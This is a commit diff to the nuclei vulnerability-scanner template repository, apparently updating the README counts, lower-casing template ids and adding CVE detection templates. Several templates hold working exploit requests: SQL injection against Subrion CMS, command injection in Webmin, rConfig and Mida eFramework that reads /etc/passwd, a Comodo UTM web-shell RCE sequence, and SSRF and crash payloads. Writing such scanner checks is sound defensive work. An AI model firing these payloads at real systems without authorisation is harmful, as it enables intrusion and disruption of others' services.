Update .nuclei-ignore

remvoing cve-2017-7529
This can be precisely checked only when Nginx version is known, otherwise it will produce false positives results, as such removing this template for the time being.
2026-11-07 08:36:19 -10:00 · 2020-09-27 15:42:48 +05:30 · 2020-09-27 15:41:50 +05:30 · 2020-09-27 13:59:33 +05:30 · 2020-09-27 13:56:14 +05:30 · 2020-09-27 13:25:36 +05:30
176 changed files with 1016 additions and 243 deletions
@@ -1,4 +1,2 @@
 .pre-commit-config.yaml
 security-misconfiguration/missing-x-frame-options.yaml
-panels/
-cves/CVE-2020-13379.yaml
@@ -10,30 +10,31 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n

 An overview of the nuclei template directory including number of templates and HTTP request associated with each directory. 

-### nuclei templates `v7.0.0`
+### nuclei templates `v7.0.5`

-| Template Directory      	| Number of Templates      | Number of HTTP/DNS requests  |
-|---------------------------|--------------------------|------------------------------|
-| cves                     	|86                        |131                           |
-| default-credentials       |03                        |04                            |
-| dns                     	|04                        |04                            |
-| files                     |34                        |111                           |
-| generic-detections        |03                        |03                            |
-| panels                    |28                        |82                            |
-| security-misconfiguration |16                  	   |93                            |
-| subdomain-takeover        |02           			   |02                            |
-| technologies              |24      				   |43                            |
-| tokens                    |07                        |07                            |
-| vulnerabilities           |26          			   |55                            |
-| workflows                 |12              		   |12*                           |
+| Template Directory      	| Number of Templates      |
+|---------------------------|--------------------------|
+| cves                     	|106                       |
+| default-credentials       |03                        |
+| dns                     	|04                        |
+| files                     |40                        |
+| generic-detections        |03                        |
+| panels                    |35                        |
+| security-misconfiguration |23                  	   |
+| subdomain-takeover        |02           			   |
+| technologies              |27      				   |
+| tokens                    |07                        |
+| vulnerabilities           |31          			   |
+| workflows                 |15              		   |

-### nuclei templates `v7.0.0` tree overview 
+### nuclei templates `v7.0.5` tree overview 

 <details>
 <summary>Template Directory</summary>

 ```
 ├── cves
+│   ├── CVE-2005-2428.yaml
 │   ├── CVE-2017-10075.yaml
 │   ├── CVE-2017-14537.yaml
 │   ├── CVE-2017-14849.yaml
@@ -51,7 +52,9 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2018-13379.yaml
 │   ├── CVE-2018-14728.yaml
 │   ├── CVE-2018-16341.yaml
+│   ├── CVE-2018-16763.yaml
 │   ├── CVE-2018-18069.yaml
+│   ├── CVE-2018-19386.yaml
 │   ├── CVE-2018-19439.yaml
 │   ├── CVE-2018-20824.yaml
 │   ├── CVE-2018-2791.yaml
@@ -73,6 +76,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2019-14974.yaml
 │   ├── CVE-2019-15043.yaml
 │   ├── CVE-2019-16278.yaml
+│   ├── CVE-2019-16662.yaml
 │   ├── CVE-2019-16759-1.yaml
 │   ├── CVE-2019-16759.yaml
 │   ├── CVE-2019-17382.yaml
@@ -88,6 +92,8 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2019-3799.yaml
 │   ├── CVE-2019-5418.yaml
 │   ├── CVE-2019-6112.yaml
+│   ├── CVE-2019-6715.yaml
+│   ├── CVE-2019-7256.yaml
 │   ├── CVE-2019-7609.yaml
 │   ├── CVE-2019-8449.yaml
 │   ├── CVE-2019-8451.yaml
@@ -101,12 +107,16 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2020-12720.yaml
 │   ├── CVE-2020-13167.yaml
 │   ├── CVE-2020-13379.yaml
+│   ├── CVE-2020-15129.yaml
+│   ├── CVE-2020-15505.yaml
 │   ├── CVE-2020-15920.yaml
+│   ├── CVE-2020-16139.yaml
 │   ├── CVE-2020-17505.yaml
 │   ├── CVE-2020-17506.yaml
 │   ├── CVE-2020-2096.yaml
 │   ├── CVE-2020-2140.yaml
 │   ├── CVE-2020-24223.yaml
+│   ├── CVE-2020-25540.yaml
 │   ├── CVE-2020-3187.yaml
 │   ├── CVE-2020-3452.yaml
 │   ├── CVE-2020-5284.yaml
@@ -159,6 +169,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── jolokia.yaml
 │   ├── laravel-env.yaml
 │   ├── lazy-file.yaml
+│   ├── ntlm-directories.yaml
 │   ├── phpinfo.yaml
 │   ├── public-tomcat-instance.yaml
 │   ├── robots.txt.yaml
@@ -170,8 +181,12 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── tomcat-scripts.yaml
 │   ├── wadl-files.yaml
 │   ├── web-config.yaml
+│   ├── wordpress-db-backup.yaml
 │   ├── wordpress-debug-log.yaml
 │   ├── wordpress-directory-listing.yaml
+│   ├── wordpress-emergency-script.yaml
+│   ├── wordpress-installer-log.yaml
+│   ├── wordpress-tmm-db-migrate.yaml
 │   ├── wordpress-user-enumeration.yaml
 │   ├── wp-xmlrpc.yaml
 │   └── zip-backup-files.yaml
@@ -180,6 +195,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── general-tokens.yaml
 │   └── top-15-xss.yaml
 ├── panels
+│   ├── adminer-panel.yaml
 │   ├── atlassian-crowd-panel.yaml
 │   ├── cisco-asa-panel.yaml
 │   ├── citrix-adc-gateway-detect.yaml
@@ -193,7 +209,9 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── jenkins-asyncpeople.yaml
 │   ├── jmx-console.yaml
 │   ├── kubernetes-pods.yaml
+│   ├── mobileiron-login.yaml
 │   ├── mongo-express-web-gui.yaml
+│   ├── netscaler-gateway.yaml
 │   ├── parallels-html-client.yaml
 │   ├── pfsense-web-gui.yaml
 │   ├── phpmyadmin-panel.yaml
@@ -202,6 +220,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── rabbitmq-dashboard.yaml
 │   ├── sap-netweaver-detect.yaml
 │   ├── sap-recon-detect.yaml
+│   ├── sonarqube-login.yaml
 │   ├── sophos-fw-version-detect.yaml
 │   ├── supervpn-panel.yaml
 │   ├── swagger-panel.yaml
@@ -217,6 +236,7 @@ An overview of the nuclei template directory including number of templates and H
 ├── security-misconfiguration
 │   ├── basic-cors-flash.yaml
 │   ├── basic-cors.yaml
+│   ├── django-debug-detect.yaml
 │   ├── drupal-user-enum-ajax.yaml
 │   ├── drupal-user-enum-redirect.yaml
 │   ├── front-page-misconfig.yaml
@@ -225,12 +245,18 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── jira-unauthenticated-popular-filters.yaml
 │   ├── jira-unauthenticated-projects.yaml
 │   ├── jira-unauthenticated-user-picker.yaml
+│   ├── larvel-debug.yaml
+│   ├── missing-csp.yaml
+│   ├── missing-hsts.yaml
 │   ├── missing-x-frame-options.yaml
 │   ├── put-method-enabled.yaml
 │   ├── rack-mini-profiler.yaml
 │   ├── springboot-detect.yaml
+│   ├── unauthenticated-airflow.yaml
+│   ├── unauthenticated-jenkin-dashboard.yaml
 │   ├── wamp-xdebug-detect.yaml
-│   └── wordpress-accessible-wpconfig.yaml
+│   ├── wordpress-accessible-wpconfig.yaml
+│   └── zenphoto-installation-sensitive-info.yaml
 ├── subdomain-takeover
 │   ├── detect-all-takeovers.yaml
 │   └── s3-subtakeover.yaml
@@ -250,12 +276,14 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── liferay-portal-detect.yaml
 │   ├── linkerd-badrule-detect.yaml
 │   ├── linkerd-ssrf-detect.yaml
+│   ├── lotus-domino-version.yaml
 │   ├── magmi-detect.yaml
 │   ├── netsweeper-webadmin-detect.yaml
 │   ├── prometheus-exposed-panel.yaml
 │   ├── s3-detect.yaml
 │   ├── sap-netweaver-as-java-detect.yaml
 │   ├── sap-netweaver-detect.yaml
+│   ├── shiro-detect.yaml
 │   ├── sql-server-reporting.yaml
 │   ├── tech-detect.yaml
 │   ├── weblogic-detect.yaml
@@ -269,6 +297,8 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── mailchimp-api-key.yaml
 │   └── slack-access-token.yaml
 ├── vulnerabilities
+│   ├── Symantec-Messaging-Gateway.yaml
+│   ├── bullwark-momentum-series-directory-traversal.yaml
 │   ├── cached-aem-pages.yaml
 │   ├── couchdb-adminparty.yaml
 │   ├── crlf-injection.yaml
@@ -277,6 +307,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── git-config-nginxoffbyslash.yaml
 │   ├── ibm-infoprint-directory-traversal.yaml
 │   ├── microstrategy-ssrf.yaml
+│   ├── mida-eframework-xss.yaml
 │   ├── moodle-filter-jmol-lfi.yaml
 │   ├── moodle-filter-jmol-xss.yaml
 │   ├── nginx-module-vts-xss.yaml
@@ -287,12 +318,14 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── rce-via-java-deserialization.yaml
 │   ├── sick-beard-xss.yaml
 │   ├── springboot-actuators-jolokia-xxe.yaml
+│   ├── springboot-h2-db-rce.yaml
 │   ├── symfony-debugmode.yaml
 │   ├── tikiwiki-reflected-xss.yaml
 │   ├── tomcat-manager-pathnormalization.yaml
 │   ├── twig-php-ssti.yaml
 │   ├── wems-manager-xss.yaml
 │   ├── wordpress-duplicator-path-traversal.yaml
+│   ├── wordpress-emails-verification-for-woocommerce.yaml
 │   ├── wordpress-wordfence-xss.yaml
 │   └── x-forwarded-host-injection.yaml
 └── workflows
@@ -302,7 +335,9 @@ An overview of the nuclei template directory including number of templates and H
    ├── grafana-workflow.yaml
    ├── jira-exploitaiton-workflow.yaml
    ├── liferay-rce-workflow.yaml
+    ├── lotus-domino-workflow.yaml
    ├── magmi-workflow.yaml
+    ├── mida-eframework-workflow.yaml
    ├── netsweeper-preauth-rce-workflow.yaml
    ├── rabbitmq-workflow.yaml
    ├── sap-netweaver-workflow.yaml
@@ -313,7 +348,7 @@ An overview of the nuclei template directory including number of templates and H

 </details>

-13 directories, **263 templates**. 
+13 directories, **298 templates**. 

 Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding. 

@@ -1,4 +1,4 @@
-id: CVE-2005-2428
+id: cve-2005-2428
 info:
  name: CVE-2005-2428 testing
  author: CasperGN
@@ -1,4 +1,4 @@
-id: CVE-2017-10075
+id: cve-2017-10075

 info:
  name: Oracle Content Server XSS
@@ -0,0 +1,24 @@
+id: cve-2017-11444
+
+info:
+  name: Subrion CMS SQL Injection
+  author: dwisiswant0
+  severity: high
+  description: Subrion CMS before 4.1.5.10 has a SQL injection vulnerability in /front/search.php via the $_GET array.
+
+  # Source:
+  # - https://mp.weixin.qq.com/s/89mCnjUCvmptLsKaeVlC9Q
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/search/members/?id`%3D520)%2f**%2funion%2f**%2fselect%2f**%2f1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2Cunhex%28%2770726f6a656374646973636f766572792e696f%27%29%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%23sqli=1"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "projectdiscovery.io"
+        part: body
+      - type: status
+        status:
+          - 200
@@ -1,4 +1,4 @@
-id: CVE-2017-14537
+id: cve-2017-14537

 info:
  name: trixbox 2.8.0 - directory-traversal
@@ -1,4 +1,4 @@
-id: CVE-2017-14849
+id: cve-2017-14849

 info:
  name: Node.js 8.5.0 >=< 8.6.0 Directory Traversal
@@ -1,4 +1,4 @@
-id: CVE-2017-5638
+id: cve-2017-5638
 info:
  author: "Random Robbie"
  name: "Struts2 RCE "
@@ -1,4 +1,4 @@
-id: CVE-2017-7391
+id: cve-2017-7391

 info:
  name: Magmi – Cross-Site Scripting v.0.7.22
@@ -1,33 +0,0 @@
-id: CVE-2017-7529
-info:
-  author: "Harsh Bothra & @dwisiswant0"
-  name: "Nginx Remote Integer Overflow"
-  severity: medium
-  description: Nginx versions since 0.5.6 up to and including 1.13.2 are vulnerable to integer overflow vulnerability in nginx range filter module resulting into leak of potentially sensitive information triggered by specially crafted request.
-
-  # This template supports the detection part only.
-  # Do not test any website without permission
-  # https://gist.githubusercontent.com/BlackVirusScript/75fae10a037c376555b0ad3f3da1a966/raw/d1cc081053636711881ea45c84e0971d5babe103/CVE-2017-7529.py
-
-requests:
-  - raw:
-      - |
-        GET / HTTP/1.1
-        Host: {{Hostname}}
-        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
-        Accept-Language: en-US,en;q=0.5
-        Range: bytes=-17208,-9223372036854758792
-        Connection: close
-    matchers-condition: and
-    matchers:
-      - type: status
-        status:
-          - 206
-      - type: word
-        words:
-          - "Server: nginx"
-        part: header
-      - type: word
-        words:
-          - "Content-Range"
-        part: body
@@ -1,4 +1,4 @@
-id: CVE-2017-9506
+id: cve-2017-9506

 info:
  name: Jira IconURIServlet SSRF
@@ -1,4 +1,4 @@
-id: CVE-2017-9841
+id: cve-2017-9841

 info:
  name: CVE-2017-9841
@@ -1,4 +1,4 @@
-id: CVE-2018-0296
+id: cve-2018-0296

 info:
  name: Cisco ASA path traversal vulnerability
@@ -1,4 +1,4 @@
-id: CVE-2018-1000129
+id: cve-2018-1000129

 info:
  name: Jolokia XSS
@@ -1,4 +1,4 @@
-id: CVE-2018-11409
+id: cve-2018-11409

 info:
  name: Splunk Sensitive Information Disclosure
@@ -1,4 +1,4 @@
-id: CVE-2018-11759
+id: cve-2018-11759

 info:
  name: Apache Tomcat JK Status Manager Access
@@ -1,4 +1,4 @@
-id: CVE-2018-1247
+id: cve-2018-1247

 info:
  name: RSA Authentication Manager XSS
@@ -1,4 +1,4 @@
-id: CVE-2018-1271
+id: cve-2018-1271

 info:
  name: Spring MVC Directory Traversal Vulnerability
@@ -1,4 +1,4 @@
-id: CVE-2018-13379
+id: cve-2018-13379

 info:
  name: FortiOS - Credentials Disclosure
@@ -1,4 +1,4 @@
-id: CVE-2018-14728
+id: cve-2018-14728

 info:
  name: Responsive filemanager 9.13.1 - SSRF/LFI
@@ -1,4 +1,4 @@
-id: CVE-2018-16341
+id: cve-2018-16341

 info:
  name: Nuxeo Authentication Bypass Remote Code Execution
@@ -1,4 +1,4 @@
-id: CVE-2018-16763
+id: cve-2018-16763

 info:
  name: fuelCMS 1.4.1 - Remote Code Execution
@@ -21,6 +21,6 @@ requests:
      - type: status
        status:
          - 200
-      - type: word
-        words:
-          - "root:"
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
@@ -0,0 +1,33 @@
+id: cve-2018-17431
+
+info:
+  name: Comodo Unified Threat Management Web Console 2.7.0 - RCE
+  author: dwisiswant0
+  severity: critical
+  description: Comodo Firewall & Central Manager (UTM) All Release before 2.7.0 & 1.5.0 Remote Code Execution (Web Shell based)
+
+  # References:
+  # - https://www.exploit-db.com/exploits/48825
+  # - https://secure.comodo.com/home/purchase.php?pid=106&license=try&track=9276&af=9276
+
+requests:
+  - raw:
+      - |
+        GET /manage/webshell/u?s=5&w=218&h=15&k=%73%65%72%76%69%63%65%0a%73%73%68%0a%64%69%73%61%62%6c%65%0a&l=62&_=5621298674064 HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+
+      - | # to triggering RCE
+        GET /manage/webshell/u?s=5&w=218&h=15&k=%0a&l=62&_=5621298674064 HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "Configuration has been altered"
+        part: body
+      - type: status
+        status:
+          - 200
@@ -1,4 +1,4 @@
-id: CVE-2018-18069
+id: cve-2018-18069

 info:
  name: Wordpress unauthenticated stored xss
@@ -1,4 +1,4 @@
-id: CVE-2018-19386
+id: cve-2018-19386

 info:
  name: SolarWinds Database Performance Analyzer 11.1. 457 - Cross Site Scripting
@@ -1,4 +1,4 @@
-id: CVE-2018-19439
+id: cve-2018-19439

 info:
  name: Cross Site Scripting in Oracle Secure Global Desktop Administration Console
@@ -1,4 +1,4 @@
-id: CVE-2018-20824
+id: cve-2018-20824

 info:
  name: Atlassian Jira WallboardServlet XSS
@@ -1,4 +1,4 @@
-id: CVE-2018-2791
+id: cve-2018-2791

 info:
  name: Oracle WebCenter Sites XSS
@@ -1,4 +1,4 @@
-id: CVE-2018-3714
+id: cve-2018-3714
 info:
  name: node-srv Path Traversal
  author: madrobot
@@ -1,4 +1,4 @@
-id: CVE-2018-3760
+id: cve-2018-3760

 info:
  name: Rails cve-2018-3760
@@ -1,4 +1,4 @@
-id: CVE-2018-5230
+id: cve-2018-5230

 info:
  name: Atlassian Confluence Status-List XSS
@@ -1,4 +1,4 @@
-id: CVE-2018-7490
+id: cve-2018-7490

 info:
  name: uWSGI PHP Plugin Directory Traversal
@@ -1,4 +1,4 @@
-id: CVE-2019-1010287
+id: cve-2019-1010287

 info:
  name: Timesheet 1.5.3 - Cross Site Scripting
@@ -1,4 +1,4 @@
-id: CVE-2019-10475
+id: cve-2019-10475

 info:
  name: Jenkins build-metrics plugin 1.3 - 'label' Cross-Site Scripting
@@ -1,4 +1,4 @@
-id: CVE-2019-11043
+id: cve-2019-11043

 info:
  name: PHP-FPM & nginx RCE
@@ -1,4 +1,4 @@
-id: CVE-2019-11248
+id: cve-2019-11248

 info:
  name: exposed_pprof
@@ -1,4 +1,4 @@
-id: CVE-2019-11510
+id: cve-2019-11510

 info:
  name: Pulse Connect Secure SSL VPN arbitrary file read vulnerability
@@ -1,4 +1,4 @@
-id: CVE-2019-11580
+id: cve-2019-11580

 info:
  name: Atlassian Crowd & Crowd Data Center - Unauthenticated RCE
@@ -1,4 +1,4 @@
-id: CVE-2019-12314
+id: cve-2019-12314

 info:
  name: Deltek Maconomy 2.2.5 LFIl
@@ -1,4 +1,4 @@
-id: CVE-2019-12461
+id: cve-2019-12461

 info:
  name: WebPort 1.19.1 - Reflected Cross-Site Scripting
@@ -1,4 +1,4 @@
-id: CVE-2019-12593
+id: cve-2019-12593

 info:
  name: IIceWarp <=10.4.4 - Local File Inclusion
@@ -1,4 +1,4 @@
-id: CVE-2019-14322
+id: cve-2019-14322

 info:
  name: Odoo 12.0 - Local File Inclusion
@@ -1,4 +1,4 @@
-id: CVE-2019-14696
+id: cve-2019-14696

 info:
  name: Open-Scool 3.0/Community Edition 2.3 - Cross Site Scripting
@@ -9,7 +9,7 @@ info:
 # Vendor Homepage: [https://open-school.org/]

 requests:
-  - metod: GET
+  - method: GET
    path:
      - '{{BaseURL}}/index.php?r=students/guardians/create&id=1%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

@@ -1,4 +1,4 @@
-id: CVE-2019-14974
+id: cve-2019-14974

 info:
  name: SugarCRM Enterprise 9.0.0 - Cross-Site Scripting
@@ -1,4 +1,4 @@
-id: CVE-2019-15043
+id: cve-2019-15043
 info:
  author: bing0o
  name: Grafana unauthenticated API
@@ -0,0 +1,32 @@
+id: cve-2019-15107
+
+info:
+  name: Webmin <= 1.920 Unauhenticated Remote Command Execution
+  author: bp0lr
+  severity: high
+
+# Refrence:-https://www.exploit-db.com/exploits/47293
+# Refrence:-https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
+
+requests:
+  - raw:  #
+      - |
+        POST /password_change.cgi HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        Referer: https://{{Hostname}}/
+        Content-Type: application/x-www-form-urlencoded
+        Content-Length: 73
+        Connection: close
+        Upgrade-Insecure-Requests: 1
+
+        user=rootxx&pam=&old=test|cat /etc/passwd&new1=test2&new2=test2&expired=2
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
@@ -1,4 +1,4 @@
-id: CVE-2019-16278
+id: cve-2019-16278

 info:
  author: pikpikcu
@@ -0,0 +1,21 @@
+id: cve-2019-16662
+
+info:
+  name: rConfig 3.9.2 - Remote Code Execution
+  author: pikpikcu
+  severity: critical
+# Source:-https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3b%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%20%23"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
@@ -1,4 +1,4 @@
-id: CVE-2019-16759-1
+id: cve-2019-16759-1

 info:
  name: 0day RCE in vBulletin v5.0.0-v5.5.4 fix bypass
@@ -1,4 +1,4 @@
-id: CVE-2019-16759
+id: cve-2019-16759

 info:
  name: 0day RCE in vBulletin v5.0.0-v5.5.4
@@ -1,4 +1,4 @@
-id: CVE-2019-17382
+id: cve-2019-17382

 info:
  name: Zabbix Authentication Bypass
@@ -1,4 +1,4 @@
-id: CVE-2019-17558
+id: cve-2019-17558

 info:
  name: Apache Solr 8.3.0 - Remote Code Execution via Velocity Template
@@ -1,4 +1,4 @@
-id: CVE-2019-18394
+id: cve-2019-18394

 info:
  name: Openfire Full Read SSRF
@@ -1,4 +1,4 @@
-id: CVE-2019-19368
+id: cve-2019-19368

 info:
  name: Rumpus FTP Web File Manager 8.2.9.1 XSS
@@ -1,4 +1,4 @@
-id: CVE-2019-19781
+id: cve-2019-19781

 info:
  name: Citrix ADC Directory Traversal
@@ -1,4 +1,4 @@
-id: CVE-2019-19908
+id: cve-2019-19908

 info:
  name: phpMyChat-Plus XSS
@@ -1,4 +1,4 @@
-id: CVE-2019-19985
+id: cve-2019-19985

 info:
  name: WordPress Plugin Email Subscribers & Newsletters 4.2.2 - Unauthenticated File Download
@@ -1,4 +1,4 @@
-id: CVE-2019-2588
+id: cve-2019-2588

 info:
  name: Oracle Business Intelligence Path Traversal
@@ -1,4 +1,4 @@
-id: CVE-2019-2725
+id: cve-2019-2725

 info:
  name: Oracle WebLogic Server - Unauthenticated RCE
@@ -1,4 +1,4 @@
-id: CVE-2019-3396
+id: cve-2019-3396
 info:
  author: "Harsh Bothra"
  name: "Atlassian Confluence Path Traversal"
@@ -1,4 +1,4 @@
-id: CVE-2019-3799
+id: cve-2019-3799
 info:
  name: Spring-Cloud-Config-Server Directory Traversal
  author: madrobot
@@ -1,4 +1,4 @@
-id: CVE-2019-5418
+id: cve-2019-5418

 info:
  name: File Content Disclosure on Rails
@@ -1,4 +1,4 @@
-id: CVE-2019-6112
+id: cve-2019-6112

 info:
  name: WordPress Plugin Sell Media v2.4.1 - Cross-Site Scripting
@@ -0,0 +1,26 @@
+id: cve-2019-6715
+
+info:
+  name: CVE-2019-6715
+  author: randomrobbie
+  severity: high
+  description: W3 Total Cache 0.9.2.6-0.9.3 - Unauthenticated Arbitrary File Read / SSRF
+
+requests:
+  - raw:
+      - |
+        PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1
+        Host: {{Hostname}}
+        Accept: */*
+        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36
+        Content-Length: 124
+        Content-Type: application/x-www-form-urlencoded
+        Connection: close
+
+        {"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://rfi.nessus.org/rfi.txt"}
+
+    matchers:
+      - type: word
+        words:
+          - "TmVzc3VzQ29kZUV4ZWNUZXN0"
+        part: body
@@ -1,4 +1,4 @@
-id: CVE-2019-7256
+id: cve-2019-7256

 info:
  name: eMerge E3 1.00-06 - Remote Code Execution
@@ -37,6 +37,6 @@ requests:
      - type: status
        status:
          - 200
-      - type: word
-        words:
-          - "root:"
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
@@ -1,4 +1,4 @@
-id: CVE-2019-7609
+id: cve-2019-7609

 info:
  name: Kibana Timelion Arbitrary Code Execution
@@ -1,4 +1,4 @@
-id: CVE-2019-8449
+id: cve-2019-8449

 info:
  name: JIRA Unauthenticated Sensitive Information Disclosure
@@ -1,4 +1,4 @@
-id: CVE-2019-8451
+id: cve-2019-8451

 info:
  name: JIRA SSRF in the /plugins/servlet/gadgets/makeRequest resource
@@ -1,4 +1,4 @@
-id: CVE-2019-8903
+id: cve-2019-8903

 info:
  name: Totaljs - Unathenticated Directory Traversal
@@ -1,4 +1,4 @@
-id: CVE-2019-8982
+id: cve-2019-8982
 info:
  name: Wavemaker Studio 6.6 LFI/SSRF
  author: madrobot
@@ -1,4 +1,4 @@
-id: CVE-2019-9978
+id: cve-2019-9978

 info:
  name: WordPress social-warfare RFI
@@ -1,4 +1,4 @@
-id: CVE-2020-10199
+id: cve-2020-10199

 info:
  name: Nexus Repository Manager 3 RCE
@@ -1,4 +1,4 @@
-id: CVE-2020-10204
+id: cve-2020-10204

 info:
  name: Sonatype Nexus Repository RCE
@@ -1,4 +1,4 @@
-id: CVE-2020-11034
+id: cve-2020-11034

 info:
  name: GLPI v.9.4.6 - Open redirect
@@ -1,4 +1,4 @@
-id: CVE-2020-1147
+id: cve-2020-1147

 info:
  name: RCE at SharePoint Server (.NET Framework & Visual Studio) detection
@@ -1,4 +1,4 @@
-id: CVE-2020-12720
+id: cve-2020-12720

 info:
  name: CVE-2020-12720 vBulletin SQLI
@@ -1,4 +1,4 @@
-id: CVE-2020-13167
+id: cve-2020-13167

 info:
  name: Netsweeper WebAdmin unixlogin.php Python Code Injection
@@ -1,22 +0,0 @@
-id: CVE-2020-13379
-
-info:
-  name: Unauthenticated Grafana DoS
-  author: pxmme1337
-  severity: medium
-  description: The avatar feature in Grafana 3.0.1 through 7.0.1 has an SSRF Incorrect Access Control issue. This vulnerability allows any unauthenticated user/client to make Grafana send HTTP requests to any URL and return its result to the user/client.
-
-  # Source:-  https://www.exploit-db.com/exploits/48638
-  # WARNING
-  # This vulnerability results in complete crashing of the grafana-server application.
-
-requests:
-  - method: GET
-    path:
-      - '{{BaseURL}}avatar/%7B%7Bprintf%20%22%25s%22%20%22this.Url%22%7D%7D'
-      - '{{BaseURL}}/avatar/%7B%7Bprintf%20%22%25s%22%20%22this.Url%22%7D%7D'
-      - "{{BaseURL}}/"
-    matchers:
-      - type: status
-        status:
-          - 502
@@ -0,0 +1,26 @@
+id: cve-2020-14179
+
+info:
+  name: Sensitive data exposure via insecure Jira endpoint
+  author: x1m_martijn
+  severity: medium
+  description: Affected versions of Atlassian Jira Server and Data Center allow remote, unauthenticated attackers to view custom field names and custom SLA names via an Information Disclosure vulnerability in the /secure/QueryComponent!Default.jspa endpoint. The affected versions are before version 8.5.8, and from version 8.6.0 before 8.11.1.
+
+  # Source:-  https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14179
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/secure/QueryComponent!Default.jspa"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "searchers"
+          - "groups"
+        condition: and
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,28 @@
+id: cve-2020-15129
+
+info:
+  name: Open-redirect in Traefik
+  author: dwisiswant0
+  severity: medium
+  description: There exists a potential open redirect vulnerability in Traefik's handling of the X-Forwarded-Prefix header. Active Exploitation of this issue is unlikely as it would require active header injection, however the Traefik team may want to address this issue nonetheless to prevent abuse in e.g. cache poisoning scenarios.
+
+  # Ref:
+  # - https://securitylab.github.com/advisories/GHSL-2020-140-Containous-Traefik
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+      - "{{BaseURL}}:8081"
+    headers:
+      X-Forwarded-Prefix: "https://foo.nl"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 302
+      - type: word
+        words:
+          - "<a href=\"https://foo.nl/dashboard/\">Found</a>"
+        condition: or
+        part: body
@@ -0,0 +1,37 @@
+id: cve-2020-15505
+
+info:
+  name: RCE in MobileIron Core & Connector <= v10.6 & Sentry <= v9.8
+  author: dwisiswant0
+  severity: critical
+
+  # THIS TEMPLATE IS ONLY FOR DETECTING
+  # To carry out further attacks, please see references[2] below.
+  # This template works by passing a Hessian header, otherwise;
+  # it will return a 403 or 500 internal server error. References[3].
+
+  # References:
+  # - [1] https://blog.orange.tw/2020/09/how-i-hacked-facebook-again-mobileiron-mdm-rce.html
+  # - [2] https://github.com/iamnoooob/CVE-Reverse/tree/master/CVE-2020-15505
+  # - [3] https://github.com/iamnoooob/CVE-Reverse/blob/master/CVE-2020-15505/hessian.py#L10
+  # - [4] https://github.com/orangetw/JNDI-Injection-Bypass
+
+requests:
+  - raw:
+      - |
+        POST /mifs/.;/services/LogService HTTP/1.1
+        Host: {{Hostname}}
+        Referer: https://{{Hostname}}
+        Content-Type: x-application/hessian
+        Connection: close
+
+        {{hex_decode('630200480004')}}
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "application/x-hessian"
+        part: header
+      - type: status
+        status:
+          - 200
@@ -1,4 +1,4 @@
-id: CVE-2020-15920
+id: cve-2020-15920

 info:
  name: Unauthenticated RCE at Mida eFramework on 'PDC/ajaxreq.php'
@@ -12,7 +12,7 @@ info:
 requests:
  - method: POST
    path:
-      - "{{BaseURL}}/PARAM=127.0.0.1+-c+0%3B+cat+%2Fetc%2Fpasswd&DIAGNOSIS=PING"
+      - "{{BaseURL}}/PDC/ajaxreq.php?PARAM=127.0.0.1+-c+0%3B+cat+%2Fetc%2Fpasswd&DIAGNOSIS=PING"
    matchers-condition: and
    matchers:
      - type: status
@@ -1,4 +1,4 @@
-id: CVE-2020-16139
+id: cve-2020-16139

 info:
  name: Cisco 7937G Denial-of-Service Reboot Attack
@@ -1,4 +1,4 @@
-id: CVE-2020-17505
+id: cve-2020-17505

 info:
